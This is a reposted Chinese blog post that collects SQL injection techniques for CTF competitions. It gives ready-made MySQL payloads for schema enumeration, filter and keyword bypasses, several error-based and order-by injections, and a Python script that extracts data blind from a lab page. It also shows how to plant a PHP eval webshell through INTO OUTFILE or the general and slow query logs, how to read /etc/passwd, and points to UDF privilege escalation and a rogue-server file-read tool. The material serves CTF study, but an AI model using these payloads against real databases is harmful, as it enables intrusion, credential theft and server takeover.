sql md5函数_CTF考点总结sql注入篇

最新推荐文章于 2025-07-28 15:51:45 发布
最新推荐文章于 2025-07-28 15:51:45 发布
阅读量872 收藏 1
点赞数
CC 4.0 BY-SA版权
文章标签： sql md5函数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_39593523/article/details/111384539
本文是关于SQL注入的CTF考点总结，重点关注了MySQL中的MD5函数及相关绕过方法，包括空格、单引号的绕过，UDF提权，以及利用information_schema等。内容涵盖了注入类型、语句分类和各种注入效果，还介绍了报错注入的多种技术，如floor报错、大整数溢出等。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

    来自Kagi师傅(终于见到了CTF的职业选手了60e7c99efb6bb1e923d3b105cf06d657.png60e7c99efb6bb1e923d3b105cf06d657.png60e7c99efb6bb1e923d3b105cf06d657.png)总结，我的CTF生涯还有很多个6年(未开始15f2d555d90c151abb2dc62e7ce66e04.png)

本文字数4000+，阅读时间约15分钟。

    整理下sql注入相关知识，查漏补缺(长期更新)

常用语句及知识

information_schema包含了大量有用的信息，例如下图

9995eecf94bf8673a355f6fe817a2e16.png

mysql.user下有所有的用户信息，其中authentication_string为用户密码的hash，如果可以使用可以修改这个值，那么就可以修改任意用户的密码

#sql当前用户：select user()数据库版本：select version() , select @@version数据库名：select database()操作系统：select @@version_compile_os所有变量：show variables单个变量：select @@secure_file_priv , show variables like 'secure_file_%'爆字段数：order by 1... ，group by 1...查库名：select group_concat(schema_name) from information_schema.schemata查表名：select group_concat(table_name) from information_schema.tables where table_schema='库名'查字段：select group_concat(column_name) from information_schema.columns where table_name='表名'读取某行：select * from mysql.user limit n,m // limit m offset n (第n行之后m行，第一行为0)读文件：select load_file('/etc/passwd')写文件：select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php'  //该处文件名无法使用16进制绕过

常用函数

#sql截取字符串：substr('abc',1,1)、substring('abc',1,1)、left('abc',1)、right('abc',1)，mid('abc',1,1)字符串拼接：concat('a','b','c')，concat_ws(' ','a','b','c')多行拼接：group_concat //eg: select group_concat(user) from mysql.user时延函数：sleep(5)、benchmark(10000000,md5('123456')) //其他方法get_lock()，笛卡尔，rlike等编码函数: hex、ord、ascii、char、conv(255,10,16)=FF(2-36进制转换)布尔条件：if(1,1,0)、position('a' in 'abc')、elt(1,'a','b')=a&&elt(2,'a','b')=b、(case when (bool) then 1 else 0 end)、field('a',3,2,'a')=3、nullif('a','b')=1&&nullif('a','a')=null、strcmp、regexp、rlike、regexp_like('1','1')...

所有函数及运算符：https://dev.mysql.com/doc/refman/8.0/en/func-op-summary-ref.html

绕过方法

绕过空格

#sql%20、%09、%0a、%0b、%0c、%0d、%a0、%00、/**/、 /*!select*/ 、()、--%0a(可以1-256都跑一遍)

其中%09需要php环境，%0a为\n  /!select/为mysql独有。常见用法为/!50727select 1/，即当版本号小于等于50727时，执行select 1

3ec1276d1702a5028ea180c13dea39ca.png

绕过单引号

sql\转义、宽字节%df%27，%bf%27、十六进制绕过

注释方法

sql/**/、--+、#、;%00、union /*!select*/(mysql独有)

select from union select绕过

sqlselect-1,user from mysql.userselect@1,user from mysql.userselect~1,user from mysql.userselect`user`,user from mysql.userselect(1),user from mysql.userselect'1',user from mysql.userselect+1,user from mysql.userselect 1,1e2from mysql.userselect 1,.9from mysql.userselect 1``from mysql.userselect 1''from mysql.userselect 1'123'from mysql.userselect '1'''from mysql.userselect 1""from mysql.userselect "1"""from mysql.userselect 1 from mysql.user where user=.1union select 1select 1 from mysql.user where user=1e1union select 1select 1 union--%0aselect 2select 1 union--%0e%0aselect 2select 1 union all select 2

 set绕过

sqlselect '123' into @aselect @a:='123'select 1 from mysql.user where @a:='123'do @a:='123'

绕过(点绕过)//select,from等关键字绕过都可以使用

select 0x73656c65637420757365722066726f6d206d7973716c2e75736572 into @s;prepare a from @s;EXECUTE a; //0x736... =>'select user from mysql.user'set @a concat('select user from mysql',char(46),'user');prepare a from @s;EXECUTE a;

information_schema绕过:

select table_name from mysql.innodb_index_stats 表名select database_name from mysql.innodb_index_stats 库名select table_name from mysql.innodb_table_stats 表名select database_name from mysql.innodb_table_stats 库名

bypass information_schema    https://www.anquanke.com/post/id/193512

逗号绕过

select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)select x.1 from (select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)x)

奇技淫巧

按注入方法分类

数值型注入、字符型注入、二次注入、宽字节注入、堆叠注入...

按语句分类

select注入、update注入、insert注入、order注入、desc注入...

按注入效果分类

回显注入、布尔注入、时间注入、报错注入...

无字段名，同表注入

(1)别名，子查询

select t.2 from (select 1,2,3 union SELECT * from ctf.user)t LIMIT 1,1

(2)堆叠

select * from ctf.user limit 0,1 into @a,@b,@c;select @a,@b,@c

order by排序注入

首先假设有这样一张表

d5703d98da10ac36d8bf0e86e0526bbc.png

有以下代码

<?php $servername = "localhost";$username = "root";$password = "";$dbname = "ctf";$conn = new mysqli($servername, $username, $password, $dbname);function check($s){if(preg_match("/\)|\(|_|\.|\|/i",$s))  #()_.|{die('hack!');}}$username=$_GET['username'];check($username);$sql = "select * from user where username='$username'";$result = $conn->query($sql);if ($result->num_rows > 0) {if($row = $result->fetch_assoc()) {echo "username: " . $row["username"]."
";}}$conn->close();?>

因为()_.|被过滤，所以我们无法从information_schema和函数获取信息。

现在我们要获取admin的flag的hash，但是我们不知道字段名，且没有.不能使用别名或子查询的方式获取，可以使用这样的方法。

下面正式开始

首先我们知道order by 可以排序，所以利用这一点可以进行字符串比较，如下就是order by 对admin进行呢比较我们现在就已经确定前两个字母为ad了

56901cf6a6a8f3bb642ca5fb6c33e713.png

4061a3d8d767a87153dd18624c4549c6.png

同理

aa7fb110317c2e0e9c350f082b69e8a2.png

3dd670fcfe83ce9fa5d217e94313f91e.png

现在我们知道admin的flag第一个字符为7了，继续

66c2b99c5b53061bcb00e26a17729e52.png

badcce2964069a8c81d8b8fbc7ec71a9.png现在我们知道，前两个字符为79了 //9的ascii为57而:的ascii为58，所以:比9大 

以此我们可以写出以下脚本

import requestsurl= 'http://127.0.0.1/mysql.php'flag=''for i in range(50):for j in range(48,128):payload="?username=xxx' or 1=1 union select 1,2,'%s' order by 3 limit 1,2;\x00"%(flag+chr(j))r=requests.get(url+payload).textprint jif 'admin' in r:flag+=chr(j-1)print flag.lower() #793914c9c583d9d86d0f4ed8c521b0c1break

order by,desc,asc注入

正常的order语句，因为查询两列，所以order by 1,3报错

ef3727a00c939f797a441d4cdfc2db0f.png

但是这样就不报错了，甚至不会大整数溢出，但是会产生延时

c3a532fd795e9844bf022c527f6fd3ca.png

c963e8205183a744b014eb64797ddf5d.png

因为延时注入，会对每一行都执行一次，结果就会变得很慢，所以也可以采用其他的方法。

方法：使用like，regexp等来进行报错注入

cec775b8e11975cea636fc54851393c8.png

8bd39512cfaf4e016216d4b2c19662e8.png

payload

sqlselect user,host from mysql.user order by 1,(1 regexp if((1=0),1,0x00));select user,host from mysql.user order by 1,(1 like if((1=0),1,(select 1+~0)));

## desc注入

用法：desc mysql.user 等同于show columns from mysql.user

16654928503f366cc2f5a478601dcec6.png

896b60f448df3bd5c5ac54faec3bb1c3.png

怎么利用呢？

漏洞代码：

0356941b403ae445a424dc34c1e86253.png

攻击方法：

payload:  ?table=note`#` where (select database()='d')#`$sql1 => desc `cms_note`#` where (select database()='d')#`$sql2 => select * from cms_note`#` where (select database()='d')#` where id =

c78e37c10e129ffeec4c26ffb0f9bdb2.png

floor报错注入

原理：

rand()，随机一个0-1的数

31bd51990922e56ddb99afe5c3ae6987.png

a0e50ae37b9fe4df222ba0aa2cbb4ced.png

rand(0)即为rand函数设定种子为0，所以它的值是固定的

fab41d8fe26b05d2ba23778ce6936c90.png

在表中表现为这样

194ab586c9d12bee77b7fa4a986f6d20.png

floor()为向下取整,所以floor(rand(0)*2)即

c7814fe7c67e754138628305c503e077.png

count：https://dev.mysql.com/doc/refman/8.0/en/counting-rows.html

count为统计行数，当count与group by 一起使用时会新建一个虚拟表，遍历查询结果，将重复数据进行计数，如果结果不存在于虚拟表内，则添加进虚拟表，count数+1。如图所示

ee2f4bdfca95e17e74f325cf05666230.png

一共652行

使用group by后，会统计每个字段出现的次数

3ccc218c46d9ba5365fb7128f14de3ba.png

所以 select count() from mysql.user group by floor(rand(0)2) 就是这样一个流程

floor(rand(0)*2)：0 1 1 0 1 1 0 0 1 1 1 ...

首先产生一个空的虚拟表

查询第一行，第一次执行floor(rand(0)2)结果为0，此时虚拟表为空，所以直接插入，插入时会再次执行floor(rand(0)2)，该次为第二次所以实际插入key值为1，count为1

查询第二行，第三次执行floor(rand(0)*2)结果为1，虚拟表中已存在1，所以key值1的count+1,

查询第三行，第四次执行floor(rand(0)2)结果为0，虚拟表中不存在0，所以插入，插入时第五次执行floor(rand(0)2)，该次结果为1，所以插入的key为1，但是key已经存在，所以报错Duplicate entry '1' for key ''

所以该报错方式的关键为count、group by、rand。floor只是起到一个辅助作用

payload：

select count(*),concat(user(),floor(rand(0)*2))x from mysql.user group by xselect count(*) from mysql.user group by concat(user(),floor(rand(0)*2))select count(*),concat(user(),floor(rand(0)*2)) from mysql.user group by 2

xpath报错注入

原理比较简单

updatexml (XML_document, XPath_string, new_value);extractvalue(XML_document, XPath_string)

因为我们输入的第二个参数不符合xpath格式自然报错，xpath_string最大长度为32位，所以报错长度也为32位

(1)extractvalue()：

select extractvalue(1,concat(0x7e,(select user()),0x7e));

(2)updatexml()：

select updatexml(1,concat(0x7e,(select user()),0x7e),1);

大整数溢出

select 1+~0select 2*~0select pow(2,1024)

5efdf82b5a44d408e34fb8b578b52ecc.png

name_const列名重复报错

select * from (select name_const(version(),1),name_const(version(),1))x //只能使用常量和普通字符串

884eb2dc1fd0e99a86005a5dea092684.png

jion列名重复报错

select * from(select a.1 from mysql.user a join mysql.user b)c

02f0b609abf5e9dffdb5c884b88b5d42.png

rlike，regexp正则匹配报错：

rlike，regexp

select 1 regexp 0x00select 1 regexp ''select 1 rlike 0x00

f1b8e4147bcccff853b384623305f456.png

68c53baceeeab511e608166cefb85e78.png

其他报错注入

以下均摘自《代码审计：企业级Web代码安全架构》一书

mysql低版本以下可用的报错

select geometrycollection((select * from(select * from(select user())a)b));select multipoint((select * from(select * from(select user())a)b));select polygon((select * from(select * from(select user())a)b));select multipolygon((select * from(select * from(select user())a)b));select linestring((select * from(select * from(select user())a)b));select multilinestring((select * from(select * from(select user())a)b));select exp(~(select * from(select user())a));

写webshell

(1) 直接写

查看可写目录范围，默认为空即不可写不可读

select @@secure_file_priv

写入

select '<?php  @eval($_POST[shell]); ?>' into outfile '/etc/www/html/shell.php'

(2) 日志写webshell

MySQL日志文件系统的组成:错误日志log_error：记录启动、运行或停止mysqld时出现的问题。通用日志general_log：记录建立的客户端连接和执行的语句。更新日志：记录更改数据的语句。该日志在MySQL 5.1中已不再使用。二进制日志：记录所有更改数据的语句。还用于复制。慢查询日志slow_query_log：记录所有执行时间超过long_query_time秒(默认10秒)的所有查询或不使用索引的查询。Innodb日志：innodb redolog

以下举例两种

show global variables like "%general%";                 #查看general文件配置情况set global general_log='on';                            #开启日志记录set global general_log_file='C:/phpstudy/WWW/shell.php';select '<?php @eval($_POST[shell]); ?>';                #日志文件导出指定目录set global general_log=off;                             #关闭记录
show variables like '%slow%';                           #慢查询日志set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';set GLOBAL slow_query_log=on;/*set GLOBAL log_queries_not_using_indexes=on;show variables like '%log%';*/select '<?php  phpinfo();?>' from mysql.user where sleep(10);

udf提权

大致流程如下，将udf文件windows为dll文件 ,linux为so文件导入服务器mysql插件目录即可。

可以自己写一些udf文件来编译。

推荐sqlmap提供的udf文件

https://github.com/sqlmapproject/sqlmap/tree/master/data/udf

因为udf文件较大，详细点击这里

https://files.cnblogs.com/files/kagari/udf.js

mysql任意文件读漏洞

原理：

  1. 当服务端执行load data local infile时，会从客户端会读取对应的文件。//load data infile则是从服务端本身读取

  2. mysql客户端连接服务端时，服务端可以让客户端执行sql语句，

所以伪造一个服务端，让客户端连接并执行load data local infile即可任意文件读。

这里推荐下 ev0A大佬的工具：https://github.com/ev0A/Mysqlist

例子: phpmyadmin开启远程登陆后就会出现该漏洞

格式化字符串漏洞与sql注入

sprintf

//?user=%1$\&pass=%20or%201=1%23<?php $user=addslashes($_GET['user']);$pass=addslashes($_GET['pass']);$sql = "select * from user where username = '$user' and password='%s';";echo sprintf( $sql, $pass) ;//select * from user where username = '\' and password=' or 1=1#';?>

https://www.cnblogs.com/test404/p/7821884.html

参考文章：

https://p0sec.net/index.php/archives/117/

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

https://www.cnblogs.com/sfriend/p/11365999.html

https://www.cnblogs.com/csyxf/p/10241456.html

https://www.cnblogs.com/wintrysec/p/10875242.html

https://paper.seebug.org/218/

文章最后加上自己的祝福：祝福显丕1f6e6f5b14ccc199ca9dee2ef94d75ba.png1f6e6f5b14ccc199ca9dee2ef94d75ba.png1f6e6f5b14ccc199ca9dee2ef94d75ba.png1f6e6f5b14ccc199ca9dee2ef94d75ba.png前生注定，喜结良缘

sql注入：md5($password,true)
March97的博客
07-27 2万+
       前几天做了一道CTF的题目，是在”实验吧“的一道简单的web题目，当然这道题目很多人都解出来了，因为它的.php文件名就是答案。        他的网页链接里面的php文件名就是’ffifdyop.php‘。          上面的’ffifdyop‘就是我们要输入的密码。哦，忘了介绍，这道题目只需要表单提交密码。       当然如果直接输入ffifdyop，提交后就能出...
mysql注入ctf_CTF考点总结-sql注入
weixin_36488760的博客
01-28 1247
整理下sql相关知识，查漏补缺(长期更新)常用语句及知识information_schema包含了大量有用的信息，例如下图mysql.user下有所有的用户信息，其中authentication_string为用户密码的hash，如果可以使用可以修改这个值，那么就可以修改任意用户的密码当前用户：select user()数据库版本：select version() , select @@versi...
sql md5 加密函数
08-19
* Name: T-SQL MD5算法实现 * Author: Rambo Qian * Create Date: 2003-04-10 * Last Modified by: Rambo Qian * Last Update Date: 2003-04-16 * Version: V1.0.00
SQL Server 2005散列函数
ejzhang的专栏
01-18 1390
<br />在SQL Server 2005下自带的函数HashBytes() ，此函数是微软在SQL Server 2005中提供的，可以用来计算一个字符串的MD5和SHA1值，使用方法如下：--获取123456的MD5加密串<br />select hashbytes('MD5', '123456') ;<br />--获取123456的SHA1加密串<br />select hashbytes('SHA1', '123456') ;<br />有了这个函数可以在SQL Server中为字符串进行加密，
一个MD5的存储过程(MS SQL)
kukukuan数据库技术专栏
05-17 2875
一个MD5的存储过程，别人写的，做个备份要是MS SQL SERVER 2000和MySQL一样支持MD5函数就好了/****************************************************************************** Name: T-SQL MD5算法实现* Author: Rambo Qian* Create Date: 2003-0
sql中使用md5
拾忆的博客
05-26 1万+
一、前言 这两天对之前的项目做出一些总结，发现是有过对数据库中字段使用md5操作的sql，于是记录发出来。 二、正文 有时候在数据库表的设计中，我们对一条数据的标识有时候不只是id，还有可能是很多个字段组合在一起作为唯一标志。 如对于一本书，book表有以下字段，name，year，author，version，price。其中name（书名），year（发表年份），author（作者），...
CTF-Web学习笔记：SQL注入篇
最新发布
Deng7326的博客
07-28 1027
本文系统梳理了CTF竞赛中SQL注入的核心原理与实战技巧。首先介绍了SQL注入的基础概念和成因，即用户输入数据被直接拼接到SQL语句中执行。其次分类解析了CTF常见的注入类型，包括数字/字符串型注入、报错/盲注/联合查询等攻击方式。文章重点分享了实战经验：如何判断注入点、确定数据库类型、使用工具辅助及绕过WAF防御。最后通过一道报错注入题目，详细演示了从数据库名获取到最终拿Flag的完整解题流程，并推荐了SQLiLabs等练习平台。
python 重定向 ctf_CTF web题型解题技巧 第四课 web总结
weixin_39615984的博客
12-10 870
以下内容大多是我在学习过程中，借鉴前人经验总结而来，部分来源于网络，我只是在前人的基础上，对CET WEB进行一个总结；----------------------------------------------------------------------------------------------------------------------工具集：基础工具：Burpsuite，pyt...
【ctfshow】web篇-SQL注入 wp
孤桜懶契
08-21 4909
前言 记录web的题目wp，慢慢变强，铸剑。 SQL注入 web171 根据语句可以看到有flag没有被显示出来，让我们拼接语句来绕过 //拼接sql语句查找指定ID用户 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; GET传参会自己解码，注释可以用%23（#）, --空格,–+等，或者拼接语句不用注释也行 判断有3个字段
小迪安全20WEB 攻防-PHP 特性&缺陷对比函数&CTF 考点&CMS 审计实例
weixin_73760178的博客
01-18 1480
这题加了个strpos，是寻找字符串的第一个匹配字符，而且最后一个条件中是===，故要考虑值和类型完全相等的状况，又因为，它用了preg_match和strpos，使八进制和十六进制不能用；代码逻辑是：当name和password收入的值不同时，进入第二个条件：name的md5加密后的数==比较passwordmd5加密后的数，如果相等，则输出flag。第二个是不带的，而我们是要进else拿flag的，所以。这题就是==，输入flag.php的文件，不让它等于flag.php，进else里，将输入值打印；
sql 实现md5加密的函数
felixfeng的专栏
11-24 1746
-- ============================================= -- Author: felix -- Create date: 2011-11-24 -- Description: 实现MD5加密算法，返回对字符串的加密结果串 -- ============================================= ALTER FUNCT
sql server 内置MD5加密函数
rookie_liu_ToFly的博客
11-10 9899
如何在sql server中实现自动加密，sql server 提供内置函数HashBytes。 首先，我们在数据库中执行 select HashBytes('MD5','12345678') 得到结果：0x25D55AD283AA400AF464C76D713C07AD 然后，我们使用MD5在线加密，得到结果如下： 我们可以看到数据库得到的结果比在线MD5加密32位大写的结果前
sql md5函数_【学习笔记】常见漏洞：SQL注入的利用与防御
weixin_39931362的博客
12-17 294
第 21课SQL注入的利用与防御课程入口(付费)个人背景李，本科，电子信息工程专业，毕业一年半，有JavaScript的，PHP，Python的语言基础，目前自学网络安全中。SQL注入的利用与防御01 SQL盲注1.1 SQL盲注概念无法通过SQL注入在页面返回内容中找到所需要的数据或者用作注入成功判断的内容，都可以称作SQL盲注；这里包含说即使页面报错，但是很可能是通用的错误...
SQL实现md5加密方法
qq_46301912的博客
12-11 2421
SQL实现md5加密方法
sql md5
luoganttcc的博客
09-19 2936
sql md5 最简单例子 select MD5('0j46o1112665989') as mdd 有时候需要将多个字符串拼接 select MD5(CONCAT('0j46o','1112665989')) 行 mdd5 1 gU89+XO93zUEg4w39N7U0A== 将MD5 的字节码转化为 16进制 SELECT TO_HEX(MD5(CONCAT('0j46o', CAST(1112665989 AS STRING)))) 行 s16 1 81
MySQL使用MD5函数对数据加密
热门推荐
崔昕阳的博客
04-08 6万+
一、MD5简介 MD5即Message-Digest Algorithm 5（信息-摘要算法5），用于确保信息传输完整一致。是计算机广泛使用的杂凑算法之一（又译摘要算法、哈希算法），主流编程语言普遍已有MD5实现。将数据（如汉字）运算为另一固定长度值，是杂凑算法的基础原理，MD5的前身有MD2、MD3和MD4。 二、实现数据加密 1.数据库建表 这里我使用了Navicat，在数据库test...
MD5加密下的SQL注入
qq_35900276的博客
11-03 5559
转自：http://www.joychou.org/index.php/web/SQL-injection-with-raw-MD5-hashes.html?utm_source=tuicool 做题的时候看到下面这个句子： $sql="select password from users where password='".md5($password,true)."'" 这里面的md5
shell 提取sql 的字段名表名_渗透测试之SQL注入(二)
weixin_39583029的博客
11-16 411
文章原载于公众号：猪猪谈安全作者：随风kali前文一篇渗透测试之SQL注入(一)给大家讲了SQL注入的产生原理，SQL注入的种类和一些防御SQL注入的手段。接下来的篇章呢都是从实例去分析SQL注入。首先我们先分析一下DVWA靶场low等级的SQL注入。这里有一个user id需要我们填写，那我们先填写一个1看看会发生什么。这里查询到了user id为1号的信息，还记得我们前文说的验证SQL注入的方...
MD5+sql注入
chuifengji2的博客
04-12 765
MD5+sql注入 今天做题的时候看到一个题，打开后是一个简单的登录页面，第一反应是sql注入，但是试了各种姿势后发现都不成功。 burp抓包后查看response发现密码被md5加密了 查询md5函数的参数后，发现第二个参数为true时将传入的第一个参数转化为16字符二进制格式，于是我们去求助一下度娘，发现有一些字符串符合如下要求： ffifdyop； e58； 4611686052576742...
mysql与SQL注入：CTF Web安全探索关键信息库
本文档主要探讨了MySQL与SQL注入在Web安全和CTF（Capture The Flag，网络安全竞赛）中的重要性，结合了对系统库的深入解析以及常用指令的操作。首先，我们来了解一下MySQL的核心组成部分和它们的功能： 1. **...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值